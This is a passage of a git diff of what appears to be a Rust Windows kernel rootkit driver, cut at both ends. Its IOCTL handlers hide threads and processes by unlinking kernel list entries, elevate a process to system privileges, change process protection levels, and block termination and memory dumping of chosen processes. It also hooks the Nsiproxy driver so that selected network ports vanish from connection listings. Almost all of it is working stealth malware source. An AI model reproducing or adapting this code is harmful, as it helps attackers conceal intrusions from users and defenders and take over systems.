`HashMap` where the thread-related +/// IOCTL handlers will be inserted. +pub fn register_thread_ioctls(ioctls: &mut IoctlManager) { + // Hide the specified Thread by removing it from the list of active threads. + ioctls.register_handler(HIDE_UNHIDE_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + // Retrieves the thread information from the input buffer. + let target_thread = get_input_buffer::(stack)?; + let tid = (*target_thread).tid; + + // Hide or unhide the thread based on the 'enable' flag. + let status = if (*target_thread).enable { + // Hides the thread and stores its previous state. + let previous_list = Thread::hide_thread(tid)?; + let mut process_info = THREAD_INFO_HIDE.lock(); + let list_ptr = Box::into_raw(Box::new(previous_list)); + + process_info.push(TargetThread { + tid, + list_entry: AtomicPtr::new(list_ptr as *mut _), + ..Default::default() + }); + + STATUS_SUCCESS + } else { + // Unhides the thread. + let list_entry = THREAD_INFO_HIDE.lock() + .iter() + .find(|p| p.tid == tid) + .map(|thread| thread.list_entry.load(Ordering::SeqCst)) + .ok_or(ShadowError::ThreadNotFound(tid))?; + + Thread::unhide_thread(tid, list_entry as *mut _)? + }; + + // Updates the IoStatus and returns the result of the operation. + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); + + // List hidden or protected threads. + ioctls.register_handler(ENUMERATION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + // Retrieves the output buffer to store thread information. + let output_buffer = get_output_buffer::(irp)?; + let input_target = get_input_buffer::(stack)?; + + // Based on the options, either enumerate hidden or protected threads. + let threads = match (*input_target).options { + Options::Hide => Thread::enumerate_hide_threads(), + #[cfg(not(feature = "mapper"))] + Options::Protection => shadowx::ThreadCallback::enumerate_protection_thread(), + }; + + // Fill the output buffer with the enumerated threads' information. + for (index, thread) in threads.iter().enumerate() { + let info_ptr = output_buffer.add(index); + (*info_ptr).tid = thread.tid; + } + + // Updates the IoStatus with the size of the enumerated threads. + (*irp).IoStatus.Information = (threads.len() * size_of::()) as u64; + Ok(STATUS_SUCCESS) + } + })); + + // If the feature is a mapper, these functionalities will not be added. + #[cfg(not(feature = "mapper"))] { + // Responsible for adding thread termination protection. + ioctls.register_handler(common::ioctls::PROTECTION_THREAD, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { + unsafe { + // Retrieves the thread information from the input buffer. + let thread_protection = get_input_buffer::(stack)?; + let tid = (*thread_protection).tid; + let enable = (*thread_protection).enable; + + // Adds or removes protection for the thread based on the 'enable' flag. + let status = if enable { + shadowx::ThreadCallback::add_target_tid(tid) + } else { + shadowx::ThreadCallback::remove_target_tid(tid) + }; + + // Updates the IoStatus with the size of the thread information. + (*irp).IoStatus.Information = size_of::() as u64; + Ok(status) + } + })); + } +} diff --git a/driver/src/port/ioctls.rs b/driver/src/port/ioctls.rs deleted file mode 100644 index c54a2d5..0000000 --- a/driver/src/port/ioctls.rs +++ /dev/null @@ -1,44 +0,0 @@ -use { - alloc::boxed::Box, - hashbrown::HashMap, - core::sync::atomic::Ordering, - wdk_sys::{IO_STACK_LOCATION, IRP, NT_SUCCESS}, - shared::{ioctls::IOCTL_PORT, structs::PortInfo}, - crate::{handle, utils::ioctls::IoctlHandler, Port}, - super::{port::{add_remove_port_toggle, PROTECTED_PORTS}, HOOK_INSTALLED}, -}; - -/// Registers the IOCTL handlers for port-related operations. -/// -/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with -/// their respective IOCTL codes. The two operations supported are: -/// -/// # Arguments -/// -/// - `ioctls`: A mutable reference to a `HashMap` where the port-related -/// IOCTL handlers will be inserted. -/// -pub fn get_port_ioctls(ioctls: &mut HashMap) { - // Responsible for hide/unhide Port. - ioctls.insert(IOCTL_PORT, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let protected_ports = PROTECTED_PORTS.lock(); - - if protected_ports.is_empty() && !HOOK_INSTALLED.load(Ordering::Relaxed) { - unsafe { Port::install_hook() }; - } - - drop(protected_ports); - - let status = unsafe { handle!(stack, add_remove_port_toggle, PortInfo) }; - if NT_SUCCESS(status) { - let protected_ports = PROTECTED_PORTS.lock(); - if protected_ports.is_empty() && HOOK_INSTALLED.load(Ordering::Relaxed) { - unsafe { Port::uninstall_hook() }; - } - } - - unsafe { (*irp).IoStatus.Information = 0 }; - - status - }) as IoctlHandler); -} \ No newline at end of file diff --git a/driver/src/port/mod.rs b/driver/src/port/mod.rs deleted file mode 100644 index f66f190..0000000 --- a/driver/src/port/mod.rs +++ /dev/null @@ -1,410 +0,0 @@ -use { - shared::{ - enums::{PortType, Protocol}, - structs::PortInfo - }, - wdk_sys::{ - *, - _MODE::KernelMode, - ntddk::{ExFreePool, ObfDereferenceObject, ProbeForRead}, - }, - core::{ - ptr::{null_mut, copy}, - sync::atomic::{AtomicPtr, Ordering, AtomicBool}, - ffi::c_void, mem::size_of, slice::from_raw_parts_mut, - }, - crate::{ - internals::{ - enums::COMUNICATION_TYPE, - externs::{ObReferenceObjectByName, IoDriverObjectType}, - structs::{ - NSI_UDP_ENTRY, NSI_PARAM, NSI_TABLE_TCP_ENTRY, - NSI_STATUS_ENTRY, NSI_PROCESS_ENTRY - } - }, - utils::{ - pool::PoolMemory, uni::str_to_unicode, - valid_kernel_memory, valid_user_memory, - } - }, -}; - -pub mod port; -pub mod ioctls; - -/// Holds the original NSI dispatch function, used to store the original pointer before hooking. -static mut ORIGINAL_NSI_DISPATCH: AtomicPtr<()> = AtomicPtr::new(null_mut()); - -/// Indicates whether the callback has been activated. -pub static HOOK_INSTALLED: AtomicBool = AtomicBool::new(false); - -/// Represents a Port structure used for hooking into the NSI proxy driver and intercepting network information. -pub struct Port; - -impl Port { - /// Control code for the NSI communication. - const NIS_CONTROL_CODE: u32 = 1179675; - - /// Network driver name. - const NSI_PROXY: &str = "\\Driver\\Nsiproxy"; - - /// Installs a hook into the NSI proxy driver, replacing the original dispatch function. - /// - /// This function hooks into the NSI proxy driver by replacing the `IRP_MJ_DEVICE_CONTROL` - /// dispatch function with `hook_nsi`. It stores the original dispatch function in a static - /// atomic pointer so that it can be called later. - /// - /// # Returns - /// - /// - `Ok(())`: If the hook was installed successfully. - /// - `Err(NTSTATUS)`: If the function fails to reference the NSI proxy driver object or - /// if no original function is found in the `IRP_MJ_DEVICE_CONTROL` dispatch table. - /// - pub unsafe fn install_hook() -> Result<(), NTSTATUS> { - let mut driver_object: *mut DRIVER_OBJECT = null_mut(); - let status = ObReferenceObjectByName( - &mut str_to_unicode(Self::NSI_PROXY).to_unicode(), - OBJ_CASE_INSENSITIVE, - null_mut(), - 0, - *IoDriverObjectType, - KernelMode as i8, - null_mut(), - &mut driver_object as *mut _ as *mut *mut core::ffi::c_void - ); - if !NT_SUCCESS(status) { - log::error!("ObReferenceObjectByName Failed With Status: {:?}", status); - return Err(status) - } - - let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize]; - if let Some(original_function) = major_function.take() { - let original_function_ptr = original_function as *mut (); - ORIGINAL_NSI_DISPATCH.store(original_function_ptr, Ordering::SeqCst); - - *major_function = Some(Self::hook_nsi); - HOOK_INSTALLED.store(true, Ordering::SeqCst); - } else { - log::error!("No original function found in MajorFunction[IRP_MJ_DEVICE_CONTROL]"); - ObfDereferenceObject(driver_object as _); - return Err(STATUS_UNSUCCESSFUL); - } - - ObfDereferenceObject(driver_object as _); - - Ok(()) - } - - /// Uninstalls the NSI hook previously installed in the driver. - /// - /// This function safely uninstalls the hook from the NSI proxy driver, which was originally - /// installed to intercept and modify network table entries. The function ensures that the - /// original dispatch function is restored and any remaining hooks or operations are cleaned - /// up before the driver is unloaded. - /// - /// # Returns - /// - /// - `STATUS_SUCCESS`: If the hook was successfully uninstalled. - /// - `STATUS_UNSUCCESSFUL`: If the hook was not installed or the uninstall operation failed. - /// - pub unsafe fn uninstall_hook() -> NTSTATUS { - let mut driver_object: *mut DRIVER_OBJECT = null_mut(); - let status = ObReferenceObjectByName( - &mut str_to_unicode(Self::NSI_PROXY).to_unicode(), - OBJ_CASE_INSENSITIVE, - null_mut(), - 0, - *IoDriverObjectType, - KernelMode as i8, - null_mut(), - &mut driver_object as *mut _ as *mut *mut core::ffi::c_void, - ); - if !NT_SUCCESS(status) { - log::error!("ObReferenceObjectByName Failed With Status: {:?}", status); - return status; - } - - if HOOK_INSTALLED.load(Ordering::SeqCst) { - let major_function = &mut (*driver_object).MajorFunction[IRP_MJ_DEVICE_CONTROL as usize]; - - let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst); - if !original_function_ptr.is_null() { - let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr); - *major_function = original_function; - - HOOK_INSTALLED.store(false, Ordering::SeqCst); - } else { - log::error!("Original NSI Dispatch function not found in ORIGINAL_NSI_DISPATCH"); - ObfDereferenceObject(driver_object as _); - return STATUS_UNSUCCESSFUL; - } - } else { - log::warn!("Hook is not installed, cannot uninstall."); - ObfDereferenceObject(driver_object as _); - return STATUS_UNSUCCESSFUL; - } - - ObfDereferenceObject(driver_object as _); - - STATUS_SUCCESS - } - - /// Hooked dispatch function that intercepts NSI proxy requests and modifies network table entries. - /// - /// This function is called when an IRP (I/O Request Packet) is sent to the NSI proxy driver - /// and the control code matches `NIS_CONTROL_CODE`. It intercepts TCP and UDP entries, - /// allowing modification of network data, such as filtering specific ports. - /// - /// # Arguments - /// - /// - `device_object`: A pointer to the device object. - /// - `irp`: A pointer to the IRP (I/O Request Packet). - /// - /// # Returns - /// - /// - `NTSTATUS`: The result of the original dispatch function or `STATUS_UNSUCCESSFUL` if the hook fails. - /// - unsafe extern "C" fn hook_nsi(device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS { - let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation; - let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode; - - if control_code == Self::NIS_CONTROL_CODE { - let context = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::<(PIO_COMPLETION_ROUTINE, *mut c_void)>() as u64, 0x444E4954); - match context { - Some(addr) => { - let address = addr.ptr as *mut (PIO_COMPLETION_ROUTINE, *mut c_void); - (*address).0 = (*stack).CompletionRoutine; - (*address).1 = (*stack).Context; - - (*stack).Context = address as *mut c_void; - (*stack).CompletionRoutine = Some(Self::irp_complete); - (*stack).Control |= SL_INVOKE_ON_SUCCESS as u8; - - // Disabling Drop - core::mem::forget(addr); - }, - None => {} - } - } - - let original_function_ptr = ORIGINAL_NSI_DISPATCH.load(Ordering::SeqCst); - let original_function: PDRIVER_DISPATCH = core::mem::transmute(original_function_ptr); - - return original_function.map_or(STATUS_UNSUCCESSFUL, |func| func(device_object, irp)); - } - - /// Completion routine for IRP that modifies network entries in the NSI tables. - /// - /// This function is called after the original completion routine is invoked. It inspects the network - /// table entries (TCP or UDP) and can remove or modify entries based on certain conditions (e.g., port filtering). - /// - /// # Arguments - /// - /// - `device_object`: A pointer to the device object. - /// - `irp`: A pointer to the IRP (I/O Request Packet). - /// - `context`: A pointer to the context passed from the `hook_nsi` function. - /// - /// # Returns - /// - /// - `NTSTATUS`: The result of the original completion routine or `STATUS_SUCCESS` if successful. - /// - unsafe extern "C" fn irp_complete(device_object: *mut DEVICE_OBJECT, irp: *mut IRP, context: *mut c_void) -> NTSTATUS { - let context_addr = context as *mut (PIO_COMPLETION_ROUTINE, *mut c_void); - - if NT_SUCCESS((*irp).IoStatus.__bindgen_anon_1.Status) { - let nsi_param = (*irp).UserBuffer as *mut NSI_PARAM; - let mut status_success = true; - - if !valid_user_memory(nsi_param as u64) && !NetworkUtils::validate_context(nsi_param as _) { - status_success = false; - } else if valid_kernel_memory(nsi_param as u64) || nsi_param.is_null() { - status_success = false; - } - - if status_success && !(*nsi_param).entries.is_null() && (*nsi_param).entry_size != 0 { - let tcp_entries = (*nsi_param).entries as *mut NSI_TABLE_TCP_ENTRY; - let udp_entries = (*nsi_param).entries as *mut NSI_UDP_ENTRY; - let entries = (*nsi_param).entries; - - for i in 0..(*nsi_param).count { - match (*nsi_param).type_ { - COMUNICATION_TYPE::TCP => { - if valid_user_memory((*tcp_entries.add(i)).local.port as u64) || valid_user_memory((*tcp_entries.add(i)).remote.port as u64) { - let local_port = u16::from_be((*tcp_entries.add(i)).local.port); - let remote_port = u16::from_be((*tcp_entries.add(i)).remote.port); - NetworkUtils::process_entry_copy( - tcp_entries, - (*nsi_param).count as usize, - i, - local_port, - Some(remote_port), - Protocol::TCP, - (*nsi_param).status_entries, - (*nsi_param).process_entries, - nsi_param, - ); - } - }, - COMUNICATION_TYPE::UDP => { - if valid_user_memory((*udp_entries.add(i)).port as u64) { - let local_port = u16::from_be((*udp_entries.add(i)).port); - NetworkUtils::process_entry_copy( - udp_entries, - (*nsi_param).count as usize, - i, - local_port, - None, - Protocol::UDP, - (*nsi_param).status_entries, - (*nsi_param).process_entries, - nsi_param, - ); - } - } - } - } - } - } - - if let Some(original_routine) = (*context_addr).0 { - let mut original_context = null_mut(); - - if !(*context_addr).1.is_null() { - original_context = (*context_addr).1; - } - - ExFreePool(context as *mut _); - return original_routine(device_object, irp, original_context); - } - - ExFreePool(context as *mut _); - STATUS_SUCCESS - } - -} - -/// Utility struct for network-related operations, such as validating memory and handling NSI table entries. -pub struct NetworkUtils; - -impl NetworkUtils { - /// Validates a memory address to ensure it can be safely accessed from kernel mode. - /// - /// This function uses `ProbeForRead` to check whether a memory address is valid and accessible. - /// It wraps the operation in a Structured Exception Handling (SEH) block to catch and log any exceptions. - /// - /// # Arguments - /// - /// - `address`: The memory address to validate. - /// - /// # Returns - /// - /// - `true`: If the address is valid and accessible. - /// - `false`: If an exception occurs while probing the address. - /// - unsafe fn validate_context(address: *mut c_void) -> bool { - let result = microseh::try_seh(|| { - ProbeForRead(address, size_of::() as u64, size_of::() as u32); - }); - - match result { - Ok(_) => true, - Err(err) => { - log::error!("Exception when trying to read the address: {:?}", err.code()); - false - } - } - } - - /// Copies network table entries (TCP/UDP) from one index to another and updates associated status - /// and process entries if necessary. - /// - /// This function is used to modify NSI (Network Store Interface) table entries during a network - /// hook operation. It copies TCP/UDP entries, status entries, and process entries, effectively - /// "hiding" specific network ports. - /// - /// # Arguments - /// - /// - `entries`: A pointer to the list of TCP or UDP entries. - /// - `count`: The total number of entries in the table. - /// - `i`: The index of the current entry being processed. - /// - `port`: The port number associated with the current entry. - /// - `status_entries`: A pointer to the list of status entries associated with the network connections. - /// - `process_entries`: A pointer to the list of process entries associated with the network connections. - /// - `nsi_param`: A pointer to the `NSI_PARAM` structure, containing information about the network table. - /// - unsafe fn process_entry_copy( - entries: *mut T, - count: usize, - i: usize, - local_port: u16, - remote_port: Option, - protocol: Protocol, - status_entries: *mut NSI_STATUS_ENTRY, - process_entries: *mut NSI_PROCESS_ENTRY, - nsi_param: *mut NSI_PARAM - ) { - let port_number = match (local_port, remote_port) { - // If the local port is zero and the remote port is Some(value) - (0, Some(remote)) if remote != 0 => remote, - // If the remote port is not defined or is also zero, use the local one - (local, _) if local != 0 => local, - // If both are zero, this can be treated as an invalid condition - _ => { - log::warn!("Both doors are zero, there is no way to process the entrance."); - return; - } - }; - - let port_type = if remote_port.unwrap_or(0) != 0 { - PortType::REMOTE - } else { - PortType::LOCAL - }; - - let info = PortInfo { - protocol, - port_type, - port_number, - enable: true, - }; - - if port::check_port(info) { - let mut entries_index = i + 1; - if entries_index >= count { - entries_index = i - 1; - } - - // Copies TCP/UDP entries. - let entries_slice = from_raw_parts_mut(entries, count); - copy( - &entries_slice[entries_index], - &mut entries_slice[i], - count - entries_index, - ); - - // Verify and copy status_entries. - if !status_entries.is_null() { - let status_entries_slice = from_raw_parts_mut(status_entries, count); - if entries_index < status_entries_slice.len() { - copy( - &status_entries_slice[entries_index], - &mut status_entries_slice[i], - count - entries_index, - ); - } - } - - // Check and copy process_entries. - if !process_entries.is_null() { - let process_entries_slice = from_raw_parts_mut(process_entries, count); - if entries_index < process_entries_slice.len() { - copy( - &process_entries_slice[entries_index], - &mut process_entries_slice[i], - count - entries_index, - ); - } - } - } - } -} \ No newline at end of file diff --git a/driver/src/port/port.rs b/driver/src/port/port.rs deleted file mode 100644 index 8de90b0..0000000 --- a/driver/src/port/port.rs +++ /dev/null @@ -1,101 +0,0 @@ -use alloc::vec::Vec; -use spin::{Mutex, lazy::Lazy}; -use shared::{ - vars::MAX_PORT, - structs::PortInfo -}; -use wdk_sys::{NTSTATUS, STATUS_DUPLICATE_OBJECTID, STATUS_SUCCESS, STATUS_UNSUCCESSFUL}; - -/// List of protected ports, synchronized with a mutex. -pub static PROTECTED_PORTS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PORT))); - -/// Method to toggle the addition or removal of a port from the list of protected ports. -/// -/// # Arguments -/// -/// - `port`: `PortInfo` structure with information about the port to be added or removed. -/// -/// # Returns -/// -/// - `NTSTATUS`: A status code indicating the success or failure of the operation. -/// -pub fn add_remove_port_toggle(port: *mut PortInfo) -> NTSTATUS { - if (unsafe { *port }).enable { - add_target_port(port) - } else { - remove_target_port(port) - } -} - -/// Method to add a port to the list of protected ports. -/// -/// # Arguments -/// -/// - `port`: `PortInfo` structure with information about the port to be protected. -/// -/// # Returns -/// -/// - `NTSTATUS`: A status code indicating the success or failure of the operation. -/// -fn add_target_port(port: *mut PortInfo) -> NTSTATUS { - let mut ports = PROTECTED_PORTS.lock(); - let port = unsafe { *port }; - - if ports.len() >= MAX_PORT { - log::error!("Port list is full"); - return STATUS_UNSUCCESSFUL; - } - - if ports.contains(&port) { - log::warn!("Port {:?} already exists in the list", port); - return STATUS_DUPLICATE_OBJECTID; - } - - ports.push(port); - - STATUS_SUCCESS -} - -/// Method to remove a port from the list of protected ports. -/// -/// # Arguments -/// -/// - `port`: `PortInfo` structure with information about the port to be removed. -/// -/// # Returns -/// -/// - `NTSTATUS`: A status code indicating the success or failure of the operation. -/// -fn remove_target_port(port: *mut PortInfo) -> NTSTATUS { - let mut ports = PROTECTED_PORTS.lock(); - (unsafe { *port }).enable = true; - - if let Some(index) = ports.iter().position(|&p| { - p.protocol == (unsafe { *port }).protocol - && p.port_type == (unsafe { *port }).port_type - && p.port_number == (unsafe { *port }).port_number - }) { - ports.remove(index); - STATUS_SUCCESS - } else { - log::error!("Port {:?} not found in the list", port); - STATUS_UNSUCCESSFUL - } -} - -/// Checks if a port is in the list of protected ports. -/// -/// This function locks access to the `PROTECTED_PORTS` list and verifies -/// if the given `port` is contained within it. -/// -/// # Arguments -/// -/// * `port` - A `PortInfo` struct that represents the port to be checked. -/// -/// # Returns -/// -/// - `bool`: `true` if the `port` is in the protected list, otherwise returns `false`. -/// -pub fn check_port(port: PortInfo) -> bool { - PROTECTED_PORTS.lock().contains(&port) -} \ No newline at end of file diff --git a/driver/src/process/callback.rs b/driver/src/process/callback.rs deleted file mode 100644 index f18f744..0000000 --- a/driver/src/process/callback.rs +++ /dev/null @@ -1,150 +0,0 @@ -#![cfg(not(feature = "mapper"))] - -use { - alloc::vec::Vec, - core::ffi::c_void, - spin::{Mutex, lazy::Lazy}, - shared::{structs::{ProcessListInfo, ProcessProtection}, vars::MAX_PID}, - winapi::um::winnt::{ - PROCESS_CREATE_THREAD, PROCESS_TERMINATE, - PROCESS_VM_OPERATION, PROCESS_VM_READ - }, - wdk_sys::{ - ntddk::PsGetProcessId, - _OB_PREOP_CALLBACK_STATUS::{self, OB_PREOP_SUCCESS}, - NTSTATUS, OB_PRE_OPERATION_INFORMATION, PEPROCESS, - PROCESS_DUP_HANDLE, STATUS_SUCCESS, STATUS_UNSUCCESSFUL, - STATUS_DUPLICATE_OBJECTID - }, -}; - -/// Handle for the process callback registration. -pub static mut CALLBACK_REGISTRATION_HANDLE_PROCESS: *mut c_void = core::ptr::null_mut(); - -/// List of target PIDs protected by a mutex. -static TARGET_PIDS: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID))); - -/// Method to check if the action sent is to add or remove a pid from the list of protected processes -/// -/// # Arguments -/// -/// - `process`: Structure with information about the process that will be added or removed from the list of protected processes. -/// -/// # Returns -/// -/// - `NTSTATUS`: A status code indicating the success or failure of the operation. -/// -pub fn add_remove_process_toggle(process: *mut ProcessProtection) -> NTSTATUS { - let pid = unsafe { (*process).pid }; - if unsafe { (*process).enable } { - add_target_pid(pid) - } else { - remove_target_pid(pid) - } -} - -/// Method for adding the list of processes that will have anti-kill / dumping protection. -/// -/// # Arguments -/// -/// - `pid`: The identifier of the target process (PID) to be hidden. -/// -/// # Returns -/// -/// - `NTSTATUS`: A status code indicating the success or failure of the operation. -/// -fn add_target_pid(pid: usize) -> NTSTATUS { - let mut pids = TARGET_PIDS.lock(); - - if pids.len() >= MAX_PID { - log::error!("PID list is full"); - return STATUS_UNSUCCESSFUL; - } - - if pids.contains(&pid) { - log::warn!("PID {pid} already exists in the list"); - return STATUS_DUPLICATE_OBJECTID; - } - - pids.push(pid); - - STATUS_SUCCESS -} - -/// Method for removing the list of processes that will have anti-kill / dumping protection. -/// -/// # Arguments -/// -/// - `pid`: The identifier of the target process (PID) to be hidden. -/// -/// # Returns -/// -/// - `NTSTATUS`: A status code indicating the success or failure of the operation. -/// -fn remove_target_pid(pid: usize) -> NTSTATUS { - let mut pids = TARGET_PIDS.lock(); - - if let Some(index) = pids.iter().position(|&x| x == pid) { - pids.remove(index); - STATUS_SUCCESS - } else { - log::error!("PID {pid} not found in the list"); - STATUS_UNSUCCESSFUL - } -} - -/// Enumerate Processes Protect. -/// -/// # Arguments -/// -/// - `info_process`: It is a parameter of type `InfoProcesses` that will send the processes that are currently protected. -/// - `information`: It is a parameter of type `usize` that will be updated with the total size of the filled `InfoProcesses` structures. -/// -/// # Returns -/// -/// - `NTSTATUS`: A status code indicating success or failure of the operation. -/// -pub unsafe fn enumerate_protection_processes(info_process: *mut ProcessListInfo, information: &mut usize) -> NTSTATUS { - let process_info = TARGET_PIDS.lock(); - let mut count = 0; - for i in process_info.iter() { - (*info_process.offset(count)).pids = *i; - - *information += core::mem::size_of::(); - count += 1; - } - - STATUS_SUCCESS -} - -/// The object (process) pre-operation callback function used to filter process opening operations. -/// This function is registered as a callback and is called by the operating system before a process opening operation is completed. -/// -/// # Arguments -/// -/// - `_registration_context`: Pointer to record context (Not used). -/// - `info`: Pointer to an `OB_PRE_OPERATION_INFORMATION` structure that contains information about the process's pre-opening operation. -/// -/// # Returns -/// -/// - `_OB_PREOP_CALLBACK_STATUS::Type`: A status code indicating the success or failure of the operation. -/// -pub unsafe extern "C" fn on_pre_open_process( - _registration_context: *mut c_void, - info: *mut OB_PRE_OPERATION_INFORMATION, -) -> _OB_PREOP_CALLBACK_STATUS::Type { - if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 { - return OB_PREOP_SUCCESS; - } - - let process = (*info).Object as PEPROCESS; - let pid = PsGetProcessId(process) as usize; - let pids = TARGET_PIDS.lock(); - - if pids.contains(&pid) { - let mask = !(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE | PROCESS_TERMINATE); - (*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask; - } - - OB_PREOP_SUCCESS -} diff --git a/driver/src/process/ioctls.rs b/driver/src/process/ioctls.rs deleted file mode 100644 index f8cc7cd..0000000 --- a/driver/src/process/ioctls.rs +++ /dev/null @@ -1,90 +0,0 @@ -use { - core::mem::size_of, - alloc::boxed::Box, - hashbrown::HashMap, - shared::{ - ioctls::*, - structs::{ - EnumerateInfoInput, ProcessInfoHide, ProcessListInfo, - ProcessSignature, TargetProcess - } - }, - wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS}, - crate::{handle, process::Process, utils::ioctls::IoctlHandler}, -}; - -#[cfg(not(feature = "mapper"))] -use { - crate::process::add_remove_process_toggle, - shared::structs::ProcessProtection, -}; - -/// Registers the IOCTL handlers for process-related operations. -/// -/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with -/// their respective IOCTL codes. The two operations supported are: -/// -/// # Arguments -/// - `ioctls`: A mutable reference to a `HashMap` where the process-related -/// IOCTL handlers will be inserted. -/// -pub fn get_process_ioctls(ioctls: &mut HashMap) { - // Elevates the specified process to system privileges. - ioctls.insert(IOCTL_ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, Process::elevate_process, TargetProcess) }; - unsafe { (*irp).IoStatus.Information = size_of::() as u64; } - - match status { - Ok(_) => STATUS_SUCCESS, - Err(err_code) => err_code - } - }) as IoctlHandler); - - // Hide / Unhide the specified process. - ioctls.insert(IOCTL_HIDE_UNHIDE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, Process::process_toggle, ProcessInfoHide) }; - unsafe { (*irp).IoStatus.Information = size_of::() as u64; } - - status - }) as IoctlHandler); - - // Terminate process. - ioctls.insert(IOCTL_TERMINATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, Process::terminate_process, TargetProcess) }; - unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; - - status - }) as IoctlHandler); - - // Modifying the PP / PPL of a process. - ioctls.insert(IOCTL_SIGNATURE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, Process::protection_signature, ProcessSignature) }; - unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; - - match status { - Ok(_) => STATUS_SUCCESS, - Err(err_code) => err_code - } - }) as IoctlHandler); - - // Lists the processes currently hidden and protect. - ioctls.insert(IOCTL_ENUMERATION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let mut information = 0; - let status = unsafe { handle!(irp, stack, Process::enumerate_process_toggle, EnumerateInfoInput, ProcessListInfo, &mut information) }; - unsafe { (*irp).IoStatus.Information = information as u64 }; - - status - }) as IoctlHandler); - - // If the feature is a mapper, these functionalities will not be added. - #[cfg(not(feature = "mapper"))] { - // Responsible for adding shutdown protection / memory dumping for a process. - ioctls.insert(IOCTL_PROTECTION_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | { - let status = unsafe { handle!(stack, add_remove_process_toggle, ProcessProtection) }; - unsafe { (*irp).IoStatus.Information = size_of:: as u64 }; - - status - }) as IoctlHandler); - } -} - \ No newline at end of file diff --git a/driver/src/process/mod.rs b/driver/src/process/mod.rs deleted file mode 100644 index 3f13685..0000000 --- a/driver/src/process/mod.rs +++ /dev/null @@ -1,363 +0,0 @@ -use { - spin::{mutex::Mutex, lazy::Lazy}, - wdk_sys::{ntddk::*, *}, - alloc::{boxed::Box, vec::Vec}, - core::sync::atomic::{AtomicPtr, Ordering}, - shared::{ - vars::MAX_PID, - enums::Options, - structs::{ - HiddenProcessInfo , ProcessListInfo, TargetProcess, - ProcessInfoHide, ProcessSignature, LIST_ENTRY, - EnumerateInfoInput - }, - }, - crate::{ - internals::structs::PROCESS_SIGNATURE, - utils::{ - offsets::{ - get_offset_signature, get_offset_token, - get_offset_unique_process_id - }, - with_push_lock_exclusive - }, - }, -}; - -#[cfg(not(feature = "mapper"))] -pub mod callback; -#[cfg(not(feature = "mapper"))] -pub use callback::*; -pub mod ioctls; - -/// List of target processes protected by a mutex. -pub static PROCESS_INFO_HIDE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID))); - -/// Represents a process in the operating system. -pub struct Process { - /// Pointer to the EPROCESS structure, used for managing process information. - pub e_process: PEPROCESS, -} - -impl Process { - /// Creates a new `Process` instance by looking up a process by its PID. - /// - /// # Arguments - /// - /// - `pid`: The process identifier (PID) to look up. - /// - /// # Returns - /// - /// - `Option`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`. - /// - #[inline] - pub fn new(pid: usize) -> Option { - let mut process = core::ptr::null_mut(); - - let status = unsafe { PsLookupProcessByProcessId(pid as _, &mut process) }; - if NT_SUCCESS(status) { - Some(Self { e_process: process }) - } else { - log::error!("PsLookupProcessByProcessId Failed With Status: {status}"); - None - } - } - - /// Toggle the visibility of a process based on the `enable` field of the `TargetProcess` structure. - /// - /// # Arguments - /// - /// - `process`: A pointer to the `TargetProcess` structure. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success or failure of the operation. - /// - pub unsafe fn process_toggle(process: *mut ProcessInfoHide) -> NTSTATUS { - let pid = (*process).pid; - if (*process).enable { - Self::hide_process(pid).map(|_| STATUS_SUCCESS).unwrap_or_else(|err_code| err_code) - } else { - Self::unhide_process(pid).map(|_| STATUS_SUCCESS).unwrap_or_else(|err_code| err_code) - } - } - - /// Hide a process by removing it from the list of active processes. - /// - /// # Arguments - /// - /// - `process`: The identifier of the target process (PID) to be hidden. - /// - /// # Returns - /// - /// - `NTSTATUS`: A status code indicating success or failure of the operation. - /// - unsafe fn hide_process(pid: usize) -> Result<(), NTSTATUS> { - // Offsets - let unique_process_id = get_offset_unique_process_id(); - let active_process_link_list = unique_process_id + core::mem::size_of::() as isize; - let process_lock = unique_process_id - core::mem::size_of::() as isize; - - // Retrieving EPROCESS from the target process - let process = Self::new(pid).ok_or(STATUS_UNSUCCESSFUL)?; - - let list_entry = process.e_process.cast::().offset(active_process_link_list) as PLIST_ENTRY; - let push_lock = process.e_process.cast::().offset(process_lock) as *mut u64; - - with_push_lock_exclusive(push_lock, || { - let next = (*list_entry).Flink; // Process (3) - let previous = (*list_entry).Blink; // Process (1) - let list = LIST_ENTRY { - Flink: next as *mut LIST_ENTRY, - Blink: previous as *mut LIST_ENTRY, 